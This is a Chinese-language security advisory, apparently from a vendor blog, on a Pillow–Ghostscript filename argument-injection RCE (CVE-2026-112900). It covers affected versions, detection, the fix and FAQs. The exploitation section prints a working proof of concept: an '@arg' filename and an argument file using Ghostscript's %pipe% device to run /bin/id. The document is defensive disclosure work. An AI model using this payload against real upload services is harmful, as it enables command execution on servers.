我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 97.1% 的成绩。 了解更多

深度解析

深度解析

Pillow Ghostscript 参数注入 RCE(CVE-2026-112900)

Pillow 2.6.0 至 12.3.0 将攻击者可控的 EPS 或 PostScript 文件名未经净化传给 Ghostscript,导致参数注入和命令执行;13.0.0 已修复。

要点速览

  • CVE-2026-112900 是 PIL.EpsImagePlugin.Ghostscript() 中的参数注入漏洞。Pillow 将调用方可控的 EPS 或 PostScript 文件名未经检查放在 Ghostscript 的 -f 位置,因此以 - 或 @ 开头的名称会被解析为选项或参数文件标记,而不是文件名。
  • GitHub 公告评审将其评为严重(CVSS v4.0 9.2)。Pillow 自身公告评为中危,因为攻击者必须控制文件名。
  • 自 2.6.0(2014 年 10 月)起至 12.3.0(含)的每个 Pillow 版本均受影响。唯一修复版本为 2026 年 10 月 16 日发布的 13.0.0。
  • 报告者 KAIST CysecLab 的 Chanu Kang 在 Pillow 12.3.0 搭配 Ghostscript 10.02.1 和 10.07.1 的环境中,使用 Pillow 默认的 -dSAFER 设置验证了命令执行(运行 id);概念验证已在公告中公开。
  • CISA 记录标为没有已知利用,也未报告在野攻击。
  • 在所有环境升级至 Pillow 13.0.0,重新构建固定旧版依赖的镜像,并避免在打开不可信图像的主机上保留 gs 二进制程序。

我是否受到影响?

以下条件全部成立时,您就受到影响:

  • 您在任何处理图像的位置运行 Pillow 2.6.0 至 12.3.0,例如 Web 上传端点、头像或缩略图服务、文档或 PDF 流水线、机器学习预处理步骤。
  • 代码对 EPS 或 PostScript(PS)文件调用 Image.open()(或 Image.open(...).load()),或处理可能包含这些格式的整个上传目录,而且文件名可以受文件提供者影响。保留用户输入、从用户输入派生或构建存储文件名的上传端点,是现实攻击目标。
  • 主机安装了 Ghostscript 二进制程序(gs),因为 Pillow 渲染 EPS 和 PS 时需要调用它。
软件 受影响版本 修复版本
Pillow(PyPI 包 pillow) 2.6.0 至 12.3.0,自 2014 年 10 月以来的每个版本 13.0.0(2026 年 10 月 16 日)
Pillow 12.x 回移修复 不存在 迁移至 13.0.0

在处理上传文件的环境及容器镜像中检查已安装内容:

python -m pip show pillow | grep -E '^(Name|Version)'      # Name: pillow, Version: 12.3.0 means affected
python -c "import PIL; print(PIL.__version__)"
grep -inE 'pillow' requirements*.txt Pipfile.lock pyproject.toml poetry.lock 2>/dev/null  # any pillow line: requirements, PEP 621 or Poetry pyproject, lockfiles
docker run --rm your-image python -m pip show pillow | grep Version
command -v gs && gs --version                              # Ghostscript presence on the image host

文件的 PostScript 内容与此漏洞无关:触发点是文件名,即使是完全无害的 EPS 或 PS 文件,只要名称受攻击者影响,也会导致注入。

Pillow 在 PyPI 上每周约有 1.434 亿次下载,因此大量 Python 构建和服务镜像可能包含受影响的 Pillow 版本。

如何修复?

升级至 Pillow 13.0.0,并重新构建所有捆绑旧副本的内容:

python -m pip install --upgrade "Pillow==13.0.0"

然后重新构建包含旧 Pillow 的容器和基础镜像,以及您自己捆绑它的 wheel 包,因为更新依赖要求不会改变已经写入镜像的内容。请注意,13.0.0 不再支持 Python 3.10,因此仍使用 3.10 的环境需要先升级至 Python 3.11 或更高版本。

如果今天无法升级,以下两种措施可减少暴露,但各有明确局限:

  • 从打开不可信图像的主机移除 gs 二进制程序。没有 Ghostscript,Pillow 完全无法渲染 EPS 或 PS,因此漏洞代码路径不会运行。这可以封堵此问题,但也会禁用 EPS 和 PS 处理;多数服务可以接受这一代价。
  • 对 EPS 或 PS,绝不将受攻击者影响的文件名传给 Image.open()。上传时生成自己的存储文件名(如 UUID、数据库键),或在打开前将上传文件复制到服务器选择的路径。这会移除攻击前提,但依赖每条代码路径都遵守规则,因此真正的修复应位于 Pillow 中。

根本原因是什么?

Pillow 原样使用调用方可控的文件名构建 Ghostscript 命令行,因此 Ghostscript 特殊处理的文件名(以 - 开头的选项或以 @ 开头的参数文件标记)就会按对应语义解析。

Pillow 渲染 EPS 或 PostScript 文件时(两种格式都由 EpsImagePlugin 处理),src/PIL/EpsImagePlugin.py 中的 Ghostscript() 组装命令并启动子进程。公告引用的漏洞代码如下:

infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    # ... size and resolution options ...
    "-dSAFER",                            # default sandbox; does NOT stop this injection
    "-sDEVICE={device}",
    "-sOutputFile={outfile}",
    "-c",
    "...",
    "-f",
    infile,                               # injected here: no check for a leading "-" (or "--") or "@"
    "-c",
    "showpage",
]
subprocess.check_call(command, ...)

fp.name 就是打开文件时使用的名称,包括上传者选择的名称。如果文件对象没有磁盘上的名称,else 分支会创建安全的 tempfile.mkstemp() 路径。因此只有第一个分支存在漏洞。

随后,infile 值被直接放在参数列表的 -f 后面。没有规范化,也没有检查 Ghostscript 参数解析器特殊处理的两个前缀。

Ghostscript 将开头的 -(包括公告提到的 -- 形式)视为选项,将开头的 @ 视为参数文件标记:@arg 告诉 Ghostscript 从名为 arg 的文件读取更多命令行参数。-dSAFER 沙箱限制的是 PostScript 能做什么,而不是如何解析命令行,因此不会介入。

如何利用?

利用点就是文件名。将文件命名为 -h,Image.open() 就会生成 gs ... -f -h。命名为 @arg,Ghostscript 就从攻击者的 arg 文件读取更多参数。

报告者的完整概念验证位于公告中,此处仅保留解释漏洞所需部分。参数注入步骤只需要一个文件名:

name = "-h"                      # the attacker's chosen filename
with open(name, "wb") as f:
    f.write(EPS)                 # a completely benign EPS document
im = Image.open(name)
im.load()                        # Ghostscript runs with "-f -h" and prints its help

名为 -h 的文件变成 gs ... -f -h,Ghostscript 输出帮助文本而非渲染图像,证明名称进入了参数解析器。继续衔接到命令执行,需要 @ 形式及攻击者同时控制的第二个文件:

name = "@arg"                    # Ghostscript reads its arguments from the file "arg"
with open(name, "wb") as f:
    f.write(EPS)
im = Image.open(name)
im.load()

arg 文件包含攻击者选择的 Ghostscript 参数:

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

@arg 文件名使 Ghostscript 从 arg 读取额外命令行参数并加入自身命令行。%pipe% 输出设备让 Ghostscript 运行 /bin/id,并将渲染输出写入该进程,从而执行命令。id 输出的 uid= 行就是执行证明。

报告者在 Pillow 12.3.0 配合 Ghostscript 10.02.1,以及配合 Ghostscript 10.07.1 的环境中,使用 Pillow 默认调用方式(启用 -dSAFER)验证了 id 执行。

单纯的 -h 总能作为单参数注入成功;RCE 形式还要求攻击者控制被引用文本文件的内容,在上传端点中意味着第二个上传文件。

攻击如何展开?

链条从攻击者控制名称的上传文件开始,最终以图像服务用户身份运行 shell 命令。

flowchart LR A["攻击者上传名为 @arg 的无害 EPS
及第二个文件 arg"] --> B["Image.open() 到达
EpsImagePlugin.Ghostscript()"] B --> C["命令列表在 -f 后
直接放入原始名称"] C --> D["Ghostscript 将 @arg 解析为
参数文件标记"] D --> E["攻击者第二个文件中的
参数加入命令行"] E --> F["%pipe% 以服务用户
身份运行命令"]

用文字表示:

  1. 攻击者上传名为 @arg 的无害 EPS 文件,以及名为 arg 的第二个文件。
  2. Image.open() 到达 EpsImagePlugin.Ghostscript(),将原始文件名放在 -f 紧后方。
  3. Ghostscript 将 @arg 解析为参数文件标记,并将 arg 中的参数加入命令行。
  4. 注入的 %pipe% 输出设备以服务用户身份运行攻击者命令。

攻击者能做什么?

如果主机安装了 gs,攻击者控制的 EPS 或 PS 文件名能到达 Image.open(),攻击者就可以:

  • 注入任意单个 Ghostscript 命令行参数,这始终有效,可改变渲染行为、重定向输出或使进程崩溃。
  • 当其同时控制通过 @name 形式引用的第二个文件内容时,以 Python 进程权限执行任意命令。报告者通过运行 id 演示了这一点。

公告及 PoC 确立了四个条件:

  • 除应用接收文件所要求的身份验证外,不需要额外身份验证。
  • 存储文件名保留攻击者选择的前导 - 或 @。
  • 主机上存在 gs。
  • 若要实现命令执行而不只是参数注入,还需要攻击者控制第二个文件。

影响不依赖 PostScript 内容,因此扫描上传文件中的恶意 EPS 内容无法解决问题。

为什么修复有效?

修复提交 a2c363141(拉取请求 #10090,2026 年 10 月 1 日合入)在路径进入参数列表前将其规范化:

     infile_temp = None
     if hasattr(fp, "name") and os.path.exists(fp.name):
-        infile = fp.name
+        # Make the path absolute so that a filename beginning with "-" or "@"
+        # can never be interpreted by Ghostscript's argument parser
+        # as an option or an @-file token
+        infile = os.path.abspath(fp.name)
     else:
         in_fd, infile_temp = tempfile.mkstemp()

os.path.abspath() 返回以路径分隔符(Windows 上为盘符)开头的路径,因此交给 Ghostscript 的字符串不再可能以 - 或 @ 开头,两种特殊形式都变成普通文件名。tempfile 分支原本就安全。

修复完整解决了携带该漏洞的 -f 位置,并新增回归测试(test_filename_not_parsed_as_ghostscript_argument),渲染名为 -h 的文件,断言图像成功解码,而不是出现帮助文本。

如何检查是否已遭入侵?

该漏洞未公布入侵指标,CISA 的 CVE 记录将利用情况标为无。在信息变化前,可以查找该漏洞可能留下的一般信号:

  • 仅由 Pillow 执行图像处理的主机上出现 Ghostscript(gs)进程。
  • 上传存储中出现以 - 或 @ 开头的文件名。
  • 图像处理请求前后,图像服务账户出现意外出站活动或文件操作。

如果发现此类文件名且其存在时间早于升级,应将主机视为可能已遭入侵,并轮换从该主机可访问的所有凭据、令牌和密钥。

时间线

  • 2026-10-01:Pillow 合入修复提交 a2c363141,将 EPS 输入名称转换为绝对路径。
  • 2026-10-16:Pillow 13.0.0 发布,包含修复和回归测试。
  • 2026-10-21:公告 GHSA-w889-685w-c8fh 和 CVE-2026-112900 记录发布,包含概念验证和已验证的命令执行。
  • 2026-10-26:本文发布。

常见问题

必须安装 Ghostscript 才会受影响吗?

对此漏洞而言,是的。Pillow 渲染 EPS 或 PostScript(PS)文件时会调用 Ghostscript,因此没有 gs 二进制程序的主机,对于两种格式都不会到达存在漏洞的命令构建流程。移除 gs 可以消除暴露,代价是失去 EPS 和 PS 支持。

Pillow 的 -dSAFER 设置能保护我吗?

不能。报告者的命令执行 PoC 在 Ghostscript 10.02.1 和 10.07.1 上,使用包含 -dSAFER 的 Pillow 默认调用方式可以复现。注入发生在命令行解析阶段,早于沙箱控制文档可执行行为的阶段。

危险来自恶意 EPS 图像内容本身吗?

对此 CVE 而言不是。漏洞位于文件名,而非 PostScript 内容,因此公告将其与 Pillow 文档中谨慎处理不可信 EPS 内容的建议区分开来。内容侧图像漏洞属于其他问题,同一 13.0.0 版本也修复了其中多个,包括 CVE-2026-112398 的 FlashPix 堆溢出。

为什么 GitHub 评为 9.2 严重,而 Pillow 评为中危?

GitHub 公告评审以最坏但现实的情况评分:安装 Ghostscript 的主机上,上传端点保留攻击者文件名,评分为 CVSS v4.0 9.2;Pillow 公告页面评为中危,因为攻击需要影响文件名,而不是每个部署都具有这一前提。这些评级分别反映其来源。您的实际暴露取决于上传处理是否保留攻击者选择的文件名。

升级会破坏我的 Python 3.10 环境吗?

可能会:Pillow 13.0.0 不再支持 Python 3.10,因此这些环境需要先升级至 Python 3.11 或更高版本。此修复没有 12.x 回移版本,所以 Python 3.10 部署必须升级 Python;在此之前,应移除 gs 二进制程序,并停止将受攻击者影响的文件名传给 Image.open()。

Pillow 13.0.0 还修复哪些漏洞?

它们是具有不同条件的独立漏洞,但都由同一版本修复:CVE-2026-112398(FlashPix JPEG 图块堆溢出)、CVE-2026-112393(TIFF 内存保存溢出,自 2013 年存在,已有公开概念验证),以及 CVE-2026-112403(无损 JPEG 缩略图溢出)。升级至 13.0.0 可一次解决整批问题。

哪些位置仍将 Pillow 固定在 13.0.0 以下?

使用 Ostorlab 扫描仓库、容器镜像和面向互联网的服务,识别所有仍将 Pillow 固定在 13.0.0 以下的部署,以及同时存在 gs 和不可信上传路径的主机。

参考资料

  • GHSA-w889-685w-c8fh,Pillow 公告,包含根本原因、PoC(poc.py、poc-rce.py 和 arg 文件)及已验证的 RCE,2026 年 10 月 21 日发布;厂商页面评为中危,GitHub 公告评审评为严重:https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh (2026 年 10 月 26 日核查)
  • CVE-2026-112900 记录,GitHub 评分为 CVSS v4.0 9.2,分类 CWE-78 和 CWE-88,CISA ADP 将利用情况标为无:https://cveawg.mitre.org/api/cve/CVE-2026-112900 (2026 年 10 月 26 日核查)
  • 修复提交 a2c363141,“调用 Ghostscript 前将 EPS 文件名转换为绝对路径”,PR #10090:https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9 (2026 年 10 月 26 日核查)
  • Pillow 13.0.0 版本,2026 年 10 月 16 日发布,移除 Python 3.10 支持并修复关联图像漏洞:https://github.com/python-pillow/Pillow/releases/tag/13.0.0 (2026 年 10 月 26 日核查)
  • 同一版本中的关联公告,CVE-2026-112398 FlashPix(https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h)、CVE-2026-112393 TIFF(https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf)及 CVE-2026-112403 JPEG 缩略图(https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782)(2026 年 10 月 26 日核查)
  • pillow 的 PyPI 下载统计,每周约 1.434 亿次:https://pypistats.org/api/packages/pillow/recent (2026 年 10 月 26 日核查)
  • The Hacker News 对该漏洞及 Pillow 整批修复的报道,2026 年 10 月 23 日:https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html (2026 年 10 月 26 日核查)